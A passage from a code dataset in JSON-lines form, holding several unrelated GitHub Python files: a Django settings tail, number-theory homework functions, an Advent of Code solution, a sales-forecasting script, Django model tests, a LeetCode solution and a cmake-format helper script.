\"notification_email_subject.txt\"\n\nEMAIL_FAIL_SILENTLY = True\nEMAIL_HOST = \"\" # e.g. 'smtp.gmail.com'\nEMAIL_HOST_USER = '' # e.g. \"randle.taylor@gmail.com\"\nEMAIL_HOST_PASSWORD = 'your_password_here'\nEMAIL_USE_TLS = True\nEMAIL_PORT = 587\n\n\n#-----------------------------------------------------------------------------\n# Account settings\n# a list of group names to automatically add users to when they sign up\nDEFAULT_GROUP_NAMES = [] # eg [\"Therapists\"]\n\n#-----------------------------------------------------------------------------\n# Authentication backend settings\nAUTHENTICATION_BACKENDS = (\n 'django.contrib.auth.backends.ModelBackend',\n #'qatrack.accounts.backends.ActiveDirectoryGroupMembershipSSLBackend',\n #'qatrack.accounts.backends.WindowsIntegratedAuthenticationBackend',\n)\n\n# active directory settings (not required if only using ModelBackend\nAD_DNS_NAME = '' # e.g. ad.civic1.ottawahospital.on.ca\n\n# If using non-SSL use these\nAD_LDAP_PORT = 389\nAD_LDAP_URL = 'ldap://%s:%s' % (AD_DNS_NAME, AD_LDAP_PORT)\nAD_LDAP_USER = ''\nAD_LDAP_PW = ''\n\nAD_LU_ACCOUNT_NAME = \"sAMAccountName\"\nAD_LU_MAIL = \"mail\"\nAD_LU_SURNAME = \"sn\"\nAD_LU_GIVEN_NAME = \"givenName\"\nAD_LU_MEMBER_OF = \"memberOf\"\n\n# If using SSL use these:\n# AD_LDAP_PORT=636\n# AD_LDAP_URL='ldaps://%s:%s' % (AD_DNS_NAME,AD_LDAP_PORT)\n\nAD_SEARCH_DN = \"\" # eg \"dc=ottawahospital,dc=on,dc=ca\"\nAD_NT4_DOMAIN = \"\" # Network domain that AD server is part of\n\nAD_SEARCH_FIELDS = [AD_LU_MAIL, AD_LU_SURNAME, AD_LU_GIVEN_NAME, AD_LU_ACCOUNT_NAME, AD_LU_MEMBER_OF]\nAD_MEMBERSHIP_REQ = [] # eg [\"*TOHCC - All Staff | Tout le personnel - CCLHO\"]\n# AD_CERT_FILE='/path/to/your/cert.txt'\n\nAD_DEBUG_FILE = None\nAD_DEBUG = False\n\nCLEAN_USERNAME_STRING = ''\n\n#------------------------------------------------------------------------------\n# Logging Settings\n# A sample logging configuration. The only tangible logging\n# performed by this configuration is to send an email to\n# the site admins on every HTTP 500 error.\n# See http://docs.djangoproject.com/en/dev/topics/logging for\n# more details on how to customize your logging configuration.\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': False,\n 'filters': {\n 'require_debug_false': {\n '()': 'django.utils.log.RequireDebugFalse'\n }\n },\n 'handlers': {\n 'mail_admins': {\n 'level': 'ERROR',\n 'filters': ['require_debug_false'],\n 'class': 'django.utils.log.AdminEmailHandler'\n },\n 'console': {\n 'level': 'DEBUG',\n 'class': 'logging.StreamHandler',\n },\n },\n 'loggers': {\n\n 'django.request': {\n 'handlers': ['mail_admins'],\n 'level': 'ERROR',\n 'propagate': True,\n },\n 'qatrack.console': {\n 'handlers': ['console'],\n 'level': 'DEBUG',\n 'propagate': True,\n },\n }\n}\n\nFORCE_SCRIPT_NAME = None\n\n#------------------------------------------------------------------------------\n# QA Settings\nPAGINATE_DEFAULT = 50 # remember to change iDisplayLength in unittestcollection.js and testlistinstance.js if you change this\n\nNHIST = 5 # number of historical test results to show when reviewing/performing qa\n\nICON_SETTINGS = {\n 'SHOW_STATUS_ICONS_PERFORM': True,\n 'SHOW_STATUS_ICONS_LISTING': True,\n 'SHOW_STATUS_ICONS_REVIEW': True,\n 'SHOW_STATUS_ICONS_HISTORY': False,\n 'SHOW_REVIEW_ICONS': True,\n 'SHOW_DUE_ICONS': True,\n}\n\n\n# Display ordering on the \"Choose Unit\" page. (Use \"name\" or \"number\")\nORDER_UNITS_BY = \"number\"\n\n#------------------------------------------------------------------------------\n# Testing settings\nTEST_RUNNER = 'django_coverage.coverage_runner.CoverageRunner'\nCOVERAGE_ADDITIONAL_MODULES = [\"qatrack.tests\"]\n\n#------------------------------------------------------------------------------\n# local_settings contains anything that should be overridden\n# based on site specific requirements (e.g. deployment, development etc)\ntry:\n from local_settings import * # NOQA\nexcept ImportError:\n pass\n","repo_name":"sharifelguindi/qatrackplus","sub_path":"qatrack/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":13174,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"33695935943","text":"import random\n\n\ndef naturals(n):\n \"\"\"Print first n natural numbers\"\"\"\n i = 0\n while i < n+1:\n print(i)\n i += 1\n\n\ndef triangular(n):\n \"\"\"Compute nth triangular number using while\"\"\"\n sum, i = 0, 0\n while i < n:\n i += 1\n sum = sum + i\n return(sum)\n\n\ndef special_sum(n):\n \"\"\"Compute sum from 1 to n, not multiples of 3, using while.\"\"\"\n sum, i = 0, 0\n while (i < n):\n i += 1\n if i % 3 != 0:\n sum = sum + i\n return(sum)\n\n\ndef dumber_multiply(a, b):\n \"\"\"Multiply positive integers a and b using for.\"\"\"\n p = 0\n for i in range(1, b + 1):\n if b != 0:\n p, b = p + a, b - 1\n return p\n\n\ndef factorial(n):\n \"\"\"Compute n factorial using while.\"\"\"\n p, i = 1, 0\n while i < n:\n i += 1\n p = p * i\n return(p)\n\n\ndef fibonacci(n):\n \"\"\"Compute nth fibonacci number using while.\"\"\"\n if n == 1:\n return 0\n a, b = 0, 1\n i = 0\n while i < n:\n i += 1\n a, b = b, a + b\n return(a)\n\n\ndef pisano(n):\n \"\"\"Compute the sum of the nth and 2nth fibonacci numbers.\"\"\"\n return fibonacci(n) + fibonacci(2*n)\n\n\ndef sod(x):\n \"\"\"Returns sum of digits\"\"\"\n s = 0\n while x > 0:\n s = s + (x % 10)\n x = x // 10\n return s\n\n\ndef collatz(n):\n \"\"\"Compute Length of Termination and Terminating value\"\"\"\n A, i = [], 0\n while n not in A:\n A, i = A + [n], i + 1\n if n % 2 == 0:\n n = n // 2\n else:\n n = (3 * n) + 1\n return A, i, A[i-1]\n\n\ndef collatz_table(k):\n \"\"\"Print table for Length of Termation and Terminating values\"\"\"\n for n in range(1, k+1):\n print(n, collatz(n))\n\n\ndef prime_factors(n):\n \"\"\"Return prime factors of positive integer n\"\"\"\n i = 2\n factors = []\n while i * i <= n:\n if n % i:\n i += 1\n else:\n n //= i\n factors.append(i)\n if n > 1:\n factors.append(n)\n return factors\n\n\ndef gcd(a, b):\n \"\"\"Return gcd(a,b)\"\"\"\n while b:\n a, b = b, a % b\n return a\n\n\ndef xgcd(a, b):\n \"\"\"Return (g, x, y) such that a*x + b*y = g = gcd(a, b)\"\"\"\n if b == 0:\n return a, 1, 0\n x, g, v, w = 1, a, 0, b\n while w != 0:\n x, g, v, w = v, w, x - (g // w) * v, g % w\n x = x % (b // g)\n return g, x, (g - (a * x)) // b\n\n\ndef linear_cong(a, c, m):\n \"\"\"Return {x in Z | ax = c (mod m)}\"\"\"\n g = xgcd(a, m)[0]\n S = []\n if c % g != 0:\n return S # solution-set S is empty\n else:\n x = (c * xgcd(a, m)[1]) // g\n for i in range(0, g):\n S = S + [(x + i * (m // g)) % m]\n return S # return g incongruent solutions\n\n\ndef feb21(n):\n \"\"\"Return day of week of Feb 21 for year 2000 < n < 2100\"\"\"\n days = ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat']\n return days[((n % 2000) % 7 + (1 + ((n - 1) % 2000) // 4) % 7) % 7]\n\n\ndef baseb(n, b):\n \"\"\"Given positive integers n and b, return n in base b\"\"\"\n d = []\n while n:\n d += [n % b]\n n //= b\n return d[::-1] # Return reversed list\n\n\ndef totient(n):\n \"\"\"Given positive integer n, return totient(n)\"\"\"\n t = 0\n for i in range(1, n):\n if gcd(i, n) == 1:\n t += 1\n return t\n\n\ndef crt(a, b, m, n):\n \"\"\"Given integers a,b w/ gcd(m,n)=1, return unique x cong a,b (mod m,n)\"\"\"\n (g, r, s) = xgcd(m, n)\n return ((a * s * n) + (b * r * m)) % (m * n)\n\n\ndef expmod(a, k, m):\n \"\"\"compute a^k mod m\"\"\"\n b = 1\n while k:\n if k % 2 == 1:\n b = (b * a) % m\n a, k = (a ** 2) % m, k // 2\n return b\n\n\ndef modroot(k, b, m):\n \"\"\"return x such that x^k cong b mod m if gcd(b,m)=1, gcd(k, totient(m))\"\"\"\n if gcd(b, m) == 1:\n (g, u, v) = xgcd(k, totient(m))\n if g == 1:\n return expmod(b, u, m)\n\n\ndef modrootpq(k, b, m, p, q):\n \"\"\"given p,q, return x such that x^k cong b mod m=pq if gcd(b,m)=1, gcd(k, totient(m))\"\"\"\n if gcd(b, m) == 1:\n (g, u, v) = xgcd(k, totient(p)*totient(q))\n if g == 1:\n return expmod(b, u, m)\n\n\ndef probablyprime(n):\n \"\"\"Returns whether integer n is likely prime or composite\"\"\"\n A = []\n for i in range(10):\n A += [random.randint(2, n-1)]\n for i in A:\n if expmod(A[i], n-1, n) % n != 1:\n return str(n) + \" is composite\"\n return str(n) + \" is prime\"\n\n\ndef rsa_decrypt(k, B, m, p, q):\n \"Decrypt RSA ciphertext B given k, m, p, q\"\n a = \"\"\n for b in B:\n a += str(modrootpq(k, b, m, p, q))\n A, a = [chr(int(a)+54) for a in [a[i:i + 2] for i in range(0, len(a), 2)]], \"\"\n for i in A:\n a += i\n return a\n\n\ndef residue(n, p):\n \"\"\"Return each a ≡ b^n mod p for some integer b and modulus p; n=2,3\"\"\"\n R = []\n for i in range(p):\n R += [(i**n) % p]\n return set(R)\n\n\ndef invmod(a, m):\n \"\"\" \"\"\"\n g, x, y = xgcd(a, m)\n if g != 1:\n return \"Modular inverse does not exit\"\n else:\n return x % m\n\n\ndef CRT(L):\n \"\"\"Given (a1,m1),...,(an,mn) with gcd(mi,mj)=1, return x such that x = ai (mod mi) for all i\"\"\"\n x, M = 0, 1\n for i in range(len(L)):\n M *= L[i][1]\n for i in range(len(L)):\n x += L[i][0] * (M // L[i][1]) * (xgcd(M//L[i][1], L[i][1])[1] % L[i][1])\n return x % M\n\nL = [[4, 5], [2, 7]]\nprint(CRT(L))\n\ndef hw11(a, p):\n \"\"\"Return solution pair to x^2=a (mod p) for prime p=5 (mod 8), where a is a QR (mod p)\"\"\"\n if a not in residue(2, p):\n return str(a)+\" is not a quadratic residue modulo \"+str(p)+\".\" \n if expmod(a, ((p - 1) // 4), p) == 1:\n x = expmod(a, ((p + 3) // 8), p)\n return x, -x % p\n else:\n x = ((2 * a) * expmod(4 * a, ((p - 5) // 8), p)) % p\n return x, -x % p\n\n\ndef descent(A, B, p):\n \"return integers (A,B) s.t. A^2+B^2=p; p prime congruent to 1 mod 4, via Fermat's descent method\"\n M = ((A ** 2) + (B ** 2)) // p\n if ((A ** 2) + (B ** 2)) % p != 0:\n return \"No solution exists.\"\n else:\n while M > 1:\n u = A % M\n while u > (M // 2):\n u = u - M\n v = B % M\n while v > (M // 2):\n v = v - M\n print(u,v)\n print(A,B)\n A, B = ((u * A) + (v * B)) // M, ((v * A) - (u * B)) // M\n M = ((A ** 2) + (B ** 2)) // p\n return A, B\n\n\ndef ord(a, p):\n for e in range(1, p):\n if (a ** e) % p == 1:\n return e\n\n\n# print(descent(259, 1, 1973))\n","repo_name":"chris-m-powell/Math422","sub_path":"Algorithms/math422.py","file_name":"math422.py","file_ext":"py","file_size_in_byte":6475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"1289126584","text":"from dataclasses import dataclass\nfrom fileinput import FileInput\nfrom typing import Iterable, Literal, NamedTuple\n\nfrom core import empty_str, split_on\n\nPoint = tuple[int, int]\nEnhancer = dict[int, Literal[0, 1]]\n\nNEIGHBOR_OFFSETS: list[Point] = [\n (-1, -1), (0, -1), (1, -1),\n (-1, 0), (0, 0), (1, 0),\n (-1, 1), (0, 1), (1, 1),\n]\n\n\nclass BLTR(NamedTuple):\n \"\"\"Bounds, aka. Bottom, Left, Top, Right\"\"\"\n b: int\n l: int\n t: int\n r: int\n\n def within(self, x: int, y: int) -> bool:\n return self.b <= y <= self.t and self.l <= x <= self.r # noqa: E741\n\n\n@dataclass\nclass Image:\n white_pixels: set[Point]\n enhancer: Enhancer\n background: Literal[0, 1] = 0\n\n def bounds(self) -> BLTR:\n min_x, max_x = 0, 0\n min_y, max_y = 0, 0\n\n for x, y in self.white_pixels:\n min_x = min(x, min_x)\n max_x = max(x, max_x)\n min_y = min(y, min_y)\n max_y = max(y, max_y)\n\n return BLTR(min_y, min_x, max_y, max_x)\n\n def encode_neighbors(self, x: int, y: int, original_bounds: BLTR) -> int:\n encoded: int = 0\n\n for dx, dy in NEIGHBOR_OFFSETS:\n nx, ny = x + dx, y + dy\n encoded <<= 1\n\n if self.background and not original_bounds.within(nx, ny):\n encoded |= 1\n\n elif (nx, ny) in self.white_pixels:\n encoded |= 1\n\n return encoded\n\n def enhanced(self) -> \"Image\":\n new_whites: set[Point] = set()\n bounds = self.bounds()\n\n for y in range(bounds.b-1, bounds.t+2):\n for x in range(bounds.l-1, bounds.r+2):\n encoded = self.encode_neighbors(x, y, bounds)\n if self.enhancer[encoded]:\n new_whites.add((x, y))\n\n return Image(\n new_whites,\n self.enhancer,\n self.background ^ self.enhancer[0] # type: ignore | this xor can only return 0 or 1\n )\n\n def show_img(self) -> None:\n bounds = self.bounds()\n\n for y in range(bounds.b, bounds.t+1):\n for x in range(bounds.l, bounds.r+1):\n print(\"#\" if (x, y) in self.white_pixels else \".\", end=\"\")\n print(\"\\n\", end=\"\")\n print(\"\\n\", end=\"\")\n\n\ndef load_enhancer(line: str) -> Enhancer:\n enhancer: Enhancer = {}\n for i, c in enumerate(line):\n enhancer[i] = 0 if c == \".\" else 1\n return enhancer\n\n\ndef load_white_pixels(lines: Iterable[str]) -> set[Point]:\n white_pixels: set[Point] = set()\n\n for y, row in enumerate(lines):\n for x, c in enumerate(row):\n if c == \"#\":\n white_pixels.add((x, y))\n\n return white_pixels\n\n\ndef main(rounds: int) -> None:\n input: \"FileInput[str]\" = FileInput()\n header, img = split_on((i.strip() for i in input), empty_str)\n assert len(header) == 1\n\n img = Image(load_white_pixels(img), load_enhancer(header[0]))\n\n for i in range(rounds):\n img = img.enhanced()\n\n print(len(img.white_pixels))\n\n\nif __name__ == \"__main__\":\n main(2)\n","repo_name":"MKuranowski/AdventOfCode2021","sub_path":"src/day20a.py","file_name":"day20a.py","file_ext":"py","file_size_in_byte":3054,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"11658912563","text":"import pandas as pd\nfrom datetime import datetime, timedelta\nimport numpy as np\nimport statsmodels.api as sm\nimport patsy\n\nimport time\n\nimport warnings\n\nwarnings.filterwarnings('ignore')\n\n\ndef preprocess(data):\n tmp = pd.to_datetime(data['Date'])\n data['Wk'] = tmp.dt.isocalendar().week\n data['Yr'] = tmp.dt.year\n data['Wk'] = pd.Categorical(data['Wk'], categories=[i for i in range(1, 53)]) # 52 weeks \n data['IsHoliday'] = data['IsHoliday'].apply(int)\n return data\n\ndef predict(train_url, test_url):\n\n # Reading train data\n file_path = train_url\n train = pd.read_csv(file_path)\n\n # Reading test data\n file_path = test_url\n test = pd.read_csv(file_path)\n \n #SVD \n d = 8\n test_depts = test['Dept'].unique()\n train_new = pd.DataFrame()\n for dept in test_depts:\n train_dept_data = train[train['Dept'] == dept] \n selected_columns = train_dept_data[['Store', 'Date', 'Weekly_Sales']]\n\n pivoted=selected_columns.pivot(index='Date', columns='Store', values='Weekly_Sales').fillna(0)\n index_names = pivoted.index\n column_names = pivoted.columns\n train_dept_ts = np.array(pivoted)\n \n store_mean = np.mean(train_dept_ts,axis=0)\n train_dept_ts_new = train_dept_ts - store_mean\n U, S, V = np.linalg.svd(train_dept_ts_new)\n d_max = min(d,len(S))\n X_new = np.dot(U[:,:d_max],np.dot(np.diag(S[:d_max]),V[:d_max,:]))+ store_mean\n df = pd.DataFrame(X_new, columns=column_names, index=index_names)\n train_dept_new = pd.melt(df.reset_index(),id_vars='Date', var_name='Store',value_name='Weekly_Sales_SVD')\n train_dept_new['Dept'] = dept\n train_new = pd.concat([train_new, train_dept_new], ignore_index=True)\n train = train.merge(train_new,on = ['Date','Store','Dept'],how='left').fillna(0).drop('Weekly_Sales',axis=1)\n \n\n # pre-allocate a pd to store the predictions\n test_pred = pd.DataFrame()\n\n train_pairs = train[['Store', 'Dept']].drop_duplicates(ignore_index=True)\n test_pairs = test[['Store', 'Dept']].drop_duplicates(ignore_index=True)\n unique_pairs = pd.merge(train_pairs, test_pairs, how = 'inner', on =['Store', 'Dept'])\n\n train_split = unique_pairs.merge(train, on=['Store', 'Dept'], how='left')\n train_split = preprocess(train_split)\n y, X = patsy.dmatrices('Weekly_Sales_SVD ~ Weekly_Sales_SVD + Store + Dept + Yr + Wk+ IsHoliday', \n data = train_split, \n return_type='dataframe')\n train_split = dict(tuple(X.groupby(['Store', 'Dept'])))\n\n\n test_split = unique_pairs.merge(test, on=['Store', 'Dept'], how='left')\n test_split = preprocess(test_split)\n y, X = patsy.dmatrices('Yr ~ Store + Dept + Yr + Wk+ IsHoliday', \n data = test_split, \n return_type='dataframe')\n X['Date'] = test_split['Date']\n test_split = dict(tuple(X.groupby(['Store', 'Dept'])))\n\n keys = list(train_split)\n\n for key in keys:\n X_train = train_split[key]\n X_test = test_split[key]\n holidays = X_test['IsHoliday']\n\n Y = X_train['Weekly_Sales_SVD']\n X_train = X_train.drop(['Weekly_Sales_SVD','Store', 'Dept', 'IsHoliday'], axis=1)\n X_test = X_test.drop(['IsHoliday'], axis=1)\n \n X_train['Yr_square'] = X_train['Yr']**2\n X_test['Yr_square'] = X_test['Yr']**2\n \n\n cols_to_drop = X_train.columns[(X_train == 0).all()]\n X_train = X_train.drop(columns=cols_to_drop)\n X_test = X_test.drop(columns=cols_to_drop)\n\n cols_to_drop = []\n for i in range(len(X_train.columns) - 1, 1, -1): # Start from the last column and move backward\n col_name = X_train.columns[i]\n # Extract the current column and all previous columns\n tmp_Y = X_train.iloc[:, i].values\n tmp_X = X_train.iloc[:, :i].values\n\n coefficients, residuals, rank, s = np.linalg.lstsq(tmp_X, tmp_Y, rcond=None)\n if np.sum(residuals) < 1e-16:\n cols_to_drop.append(col_name)\n\n X_train = X_train.drop(columns=cols_to_drop)\n X_test = X_test.drop(columns=cols_to_drop)\n \n\n model = sm.OLS(Y, X_train).fit()\n mycoef = model.params.fillna(0)\n \n tmp_pred = X_test[['Store', 'Dept', 'Date']]\n X_test = X_test.drop(['Store', 'Dept', 'Date'], axis=1)\n\n tmp_pred['Weekly_Pred'] = np.dot(X_test, mycoef)\n tmp_pred['IsHoliday'] = holidays.apply(bool)\n test_pred = pd.concat([test_pred, tmp_pred], ignore_index=True)\n\n test_pred['Store'] = test_pred['Store'].astype(int)\n test_pred['Dept'] = test_pred['Dept'].astype(int)\n test_pred = test.merge(test_pred, on = ['Store','Dept','Date','IsHoliday'], how = 'left')\n test_pred['Weekly_Pred'].fillna(0, inplace=True)\n file_path = 'mypred.csv'\n test_pred.to_csv(file_path, index=False)\n \n\nif __name__ == '__main__':\n train_url = 'train.csv'\n test_url = 'test.csv'\n \n predict(train_url, test_url)","repo_name":"wenbofu/STAT542","sub_path":"Project 2/wenbofu2/mymain.py","file_name":"mymain.py","file_ext":"py","file_size_in_byte":5072,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"16744639938","text":"import os\nfrom unittest.mock import MagicMock, patch\nfrom django.forms import ValidationError\n\nfrom django.test import TestCase\n\nfrom download_ui.apps.download.models import Command, Source, Quality, Extension, Format, Download\nfrom download_ui.apps.download.exceptions import ExtractionError\n\n\nclass DownloadModelTest(TestCase):\n @classmethod\n def setUpTestData(cls):\n command = Command.objects.create(name='YTDL')\n source = Source.objects.create(name='Twitch')\n Download.objects.create(command=command,\n source=source,\n url='https://www.twitch.com',\n title='Testing Title 123')\n quality = Quality.objects.create(name='720p')\n extension = Extension.objects.create(name='mkv')\n Format.objects.create(format_code='64',\n quality=quality,\n command=command,\n extension=extension)\n\n def test_object_name_is_display_name(self):\n download = Download.objects.get(id=1)\n expected_object_name = download.title\n self.assertEqual(str(download), expected_object_name)\n\n def test_get_absolute_url(self):\n download = Download.objects.get(id=1)\n self.assertEqual(download.get_absolute_url(), '/download/1/')\n\n def test_set_missing_if_file_not_found_is_missing(self):\n download = Download.objects.get(id=1)\n download.status = Download.Status.COMPLETED\n download.file_path = \"test_file_does_not_exist\"\n download.set_missing_if_file_not_found()\n self.assertEqual(download.status, Download.Status.MISSING)\n\n def test_set_missing_if_file_not_found_is_not_missing(self):\n download = Download.objects.get(id=1)\n download.status = Download.Status.COMPLETED\n download.file_path = os.getcwd()\n download.set_missing_if_file_not_found()\n self.assertEqual(download.status, Download.Status.COMPLETED)\n\n def test_archive_download_no_file(self):\n download = Download.objects.get(id=1)\n download.file_path = \"test_file_does_not_exist\"\n download.archive_download()\n self.assertEqual(download.status, Download.Status.ARCHIVED)\n\n def test_archive_download_file_exists(self):\n download = Download.objects.get(id=1)\n filename = 'test_file.txt'\n with open(filename, 'w', encoding='utf8') as fp:\n fp.write(\"New test file created\")\n download.file_path = filename\n self.assertTrue(os.path.exists(filename))\n download.archive_download()\n self.assertTrue(not os.path.exists(filename))\n self.assertEqual(download.status, Download.Status.ARCHIVED)\n \n def test_cancel_download_no_file(self):\n download = Download.objects.get(id=1)\n download.file_path = \"test_file_does_not_exist\"\n download.cancel_download()\n self.assertEqual(download.status, Download.Status.TERMINATED)\n\n def test_cancel_download_file_exists(self):\n download = Download.objects.get(id=1)\n filename = 'test_file.txt'\n with open(filename, 'w', encoding='utf8') as fp:\n fp.write(\"New test file created\")\n download.file_path = filename\n self.assertTrue(os.path.exists(filename))\n download.cancel_download()\n self.assertTrue(not os.path.exists(filename))\n self.assertEqual(download.status, Download.Status.TERMINATED)\n\n @patch(\"download_ui.apps.download.models.Downloader.get_downloader\")\n def test_clean_fields(self, mocked_downloader):\n mocked_extract = MagicMock()\n mocked_extract.side_effect = ExtractionError(\n 'youtube-dl', 'Extraction failed to work')\n mocked_downloader.return_value = MagicMock(extract=mocked_extract)\n download = Download()\n download.url = 'https://www.youtube.com/watch?v=currentslug'\n download.command = Command.objects.get(id=1)\n\n with self.assertRaisesMessage(ValidationError, 'Download failure: Extraction failed to work'):\n download.clean_fields(exclude=[\n 'source', 'file_path', 'title', 'slug_id', 'channel_name', 'size', 'active_task_id'])\n\n def test_save_first_save_with_format_ids(self):\n download = Download()\n format_test = Format.objects.get(id=1)\n download.command = Command.objects.get(id=1)\n download.source = Source.objects.get(id=1)\n download.format_ids = [format_test.id]\n self.assertTrue(not download.id)\n download.save()\n self.assertTrue(download.id)\n self.assertEqual(download.choices_for.count(), 1)\n self.assertEqual(download.choices_for.all()[0].id, format_test.id)\n\n def test_save_second_save_with_format_ids(self):\n download = Download.objects.get(id=1)\n format_test = Format.objects.get(id=1)\n download.format_ids = [format_test.id]\n self.assertTrue(download.id)\n self.assertEqual(download.choices_for.count(), 0)\n download.save()\n self.assertTrue(download.id)\n self.assertEqual(download.choices_for.count(), 0)\n\n\nclass CommandModelTest(TestCase):\n @classmethod\n def setUpTestData(cls):\n Command.objects.create(name='YTDL')\n\n def test_object_name_is_display_name(self):\n command = Command.objects.get(id=1)\n expected_object_name = Command.CommandName.YOUTUBEDL.label\n self.assertEqual(str(command), expected_object_name)\n\n\nclass SourceModelTest(TestCase):\n @classmethod\n def setUpTestData(cls):\n Source.objects.create(name='twitch')\n\n def test_object_name_is_display_name(self):\n source = Source.objects.get(id=1)\n expected_object_name = source.name\n self.assertEqual(str(source), expected_object_name)\n\n\nclass QualityModelTest(TestCase):\n @classmethod\n def setUpTestData(cls):\n Quality.objects.create(name='720p')\n\n def test_object_name_is_display_name(self):\n quality = Quality.objects.get(id=1)\n expected_object_name = quality.name\n self.assertEqual(str(quality), expected_object_name)\n\n\nclass ExtensionModelTest(TestCase):\n @classmethod\n def setUpTestData(cls):\n Extension.objects.create(name='mkv')\n\n def test_object_name_is_display_name(self):\n extension = Extension.objects.get(id=1)\n expected_object_name = extension.name\n self.assertEqual(str(extension), expected_object_name)\n\n\nclass FormatModelTest(TestCase):\n @classmethod\n def setUpTestData(cls):\n command = Command.objects.create(name='YTDL')\n quality = Quality.objects.create(name='720p')\n extension = Extension.objects.create(name='mkv')\n Format.objects.create(format_code='64',\n quality=quality,\n command=command,\n extension=extension)\n\n def test_object_name_is_ext_and_qual(self):\n format_test = Format.objects.get(id=1)\n expected_object_name = f'{format_test.extension.name} : {format_test.quality.name}'\n self.assertEqual(str(format_test), expected_object_name)\n","repo_name":"kerrynich/download-ui","sub_path":"download_ui/download_ui/apps/download/tests/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":7188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"7495604946","text":"import collections\nfrom typing import Optional\n\n\nclass Node:\n def __init__(self, val: int = 0, left: 'Node' = None, right: 'Node' = None, next: 'Node' = None):\n self.val = val\n self.left = left\n self.right = right\n self.next = next\n\n\nclass Solution:\n def connect(self, root: 'Optional[Node]') -> 'Optional[Node]':\n q = collections.deque()\n q.append(root)\n\n while q:\n level_size = len(q)\n\n for i in range(level_size):\n curr = q.popleft()\n\n if curr:\n if i < level_size - 1:\n curr.next = q[0]\n if curr.left:\n q.append(curr.left)\n if curr.right:\n q.append(curr.right)\n\n return root\n\n\n\"\"\"\nExplanation:\n\nInitialize a deque q and add the root node to it. Then enter a loop that runs as long as there are nodes in the queue.\n\nInside the loop, first determines the number of nodes in the current level of the tree by getting the length of the queue.\n\nThen enter another loop that iterates over each node in the current level. At each iteration, remove the leftmost node from the queue and assign it to the variable curr.\n\nIf curr is not None, check if the current node is not the last node in the level. If it's not the last node, it sets the next pointer of curr to the leftmost node of the queue.\n\nThen check if the current node has a left child and, if it does, add it to the queue. Similarly, check if the current node has a right child and, if it does, add it to the deque.\n\nAfter the inner loop completes, returns the modified tree with next pointers set.\n\nNotes:\n\nTime complexity: O(n), as the algorithm traverses each node of the tree once.\n\nSpace complexity: O(n), as the queue can hold up to the maximum number of nodes in the last level of the tree. Therefore, the space complexity is O(n/2), or O(n), where n is the number of nodes in the tree.\n\"\"\"\n\n# Test 1: Empty tree\nroot = None\nSolution().connect(root)\nexpected = None\nassert root == expected, f\"Expected {expected} but got {root}\"\n\n# Test 2: Single node\nroot = Node(1)\nSolution().connect(root)\nexpected = None\nassert root.next == expected, f\"Expected {expected} but got {root.next}\"\n\n# Test 3: Balanced tree, 2 levels\nroot = Node(1, Node(2), Node(3))\nSolution().connect(root)\nexpected = None\nassert root.next == expected, f\"Expected {expected} but got {root.next}\"\nexpected = root.right\nassert root.left.next == expected, f\"Expected {expected} but got {root.left.next}\"\nexpected = None\nassert root.right.next == expected, f\"Expected {expected} but got {root.right.next}\"\n\n# Test 4: Unbalanced tree, 2 levels\nroot = Node(1, Node(2))\nSolution().connect(root)\nexpected = None\nassert root.next == expected, f\"Expected {expected} but got {root.next}\"\nexpected = None\nassert root.left.next == expected, f\"Expected {expected} but got {root.left.next}\"\n\n# Test 5: All left children\nroot = Node(1, Node(2, Node(3, Node(4))))\nSolution().connect(root)\nexpected = None\nassert root.next == expected, f\"Expected {expected} but got {root.next}\"\nassert root.left.next == expected, f\"Expected {expected} but got {root.left.next}\"\nassert root.left.left.next == expected, f\"Expected {expected} but got {root.left.left.next}\"\nassert root.left.left.left.next == expected, f\"Expected {expected} but got {root.left.left.left.next}\"\n\n# Test 6: All right children\nroot = Node(1, None, Node(2, None, Node(3, None, Node(4))))\nSolution().connect(root)\nexpected = None\nassert root.next == expected, f\"Expected {expected} but got {root.next}\"\nassert root.right.next == expected, f\"Expected {expected} but got {root.right.next}\"\nassert root.right.right.next == expected, f\"Expected {expected} but got {root.right.right.next}\"\nassert root.right.right.right.next == expected, f\"Expected {expected} but got {root.right.right.right.next}\"\n","repo_name":"garofalof/algopractice_python","sub_path":"medium/116_Populating_Next_Right_Pointers_in_Each_Node.py","file_name":"116_Populating_Next_Right_Pointers_in_Each_Node.py","file_ext":"py","file_size_in_byte":3903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12207599862","text":"import subprocess\nfrom pathlib import Path\n\n\ndef get_root_directory():\n p = Path(Path.cwd() / __file__)\n while p.parent != \".git\":\n p = p.parent\n for i in p.rglob(\"*\"):\n if i.is_dir() and i.name == \".git\":\n return Path(p)\n return None\n\n\npaths_to_format = [\n \"./CMakeLists.txt\",\n \"./cmake/*.cmake\",\n \"./src/**/CMakeLists.txt\",\n \"./tests/**/CMakeLists.txt\",\n]\n\nroot_directory = get_root_directory()\n\npaths = []\nfor path_to_format in paths_to_format:\n paths.extend(list(root_directory.rglob(path_to_format)))\n\npath_strings = [str(p) for p in paths]\npath_string = \" \".join(path_strings)\nformat_process = subprocess.run(\n f\"cmake-format -i {path_string}\",\n shell=True,\n check=True,\n capture_output=True,\n text=True,\n)\n","repo_name":"intel/cassian","sub_path":"scripts/run_cmake_format.py","file_name":"run_cmake_format.py","file_ext":"py","file_size_in_byte":792,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"19529892839","text":"# pylint: disable=E1136\n# pylint: disable=E1101\n\nimport multiprocessing\nimport bottle\nimport requests\nimport json\nimport logging\n\n\ndef legacy_api(**kwargs):\n la = _LegacyAPI(kwargs.get('storage'))\n la.run()\n\n\n# For making fields compatible with old codenames\nlegacy_codenames = {\n 'csgo': {\n 'cs.money': 'csmoney',\n 'loot.farm': 'lootfarm',\n 'cs.deals': 